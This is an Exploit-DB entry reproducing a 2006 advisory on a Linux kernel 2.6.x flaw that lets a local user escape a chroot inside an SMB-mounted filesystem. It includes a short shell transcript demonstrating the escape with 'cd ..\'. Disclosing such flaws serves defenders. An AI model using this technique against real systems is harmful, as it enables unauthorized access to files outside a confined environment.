Linux Kernel 2.6.x - SMBFS CHRoot Security Restriction Bypass

EDB-ID:

27766


Platform:

Linux

Published:

2006-04-28

source: http://www.securityfocus.com/bid/17735/info

The Linux Kernel is prone to a vulnerability that allows attackers to bypass a security restriction. This issue is due to a failure in the kernel to properly sanitize user-supplied data.

The problem affects chroot inside of an SMB-mounted filesystem ('smbfs'). A local attacker who is bounded by the chroot can exploit this issue to bypass the chroot restriction and gain unauthorized access to the filesystem.

root@server me]# pwd
/path/to/my/dir
[root@server me]# ls
bin chroot etc lib
[root@server me]# chroot .
bash-2.05a# pwd
/
bash-2.05a# ls
bin chroot etc lib
bash-2.05a# cd ..\bash-2.05a# pwd
/..bash-2.05a# ls
<list of files from parent>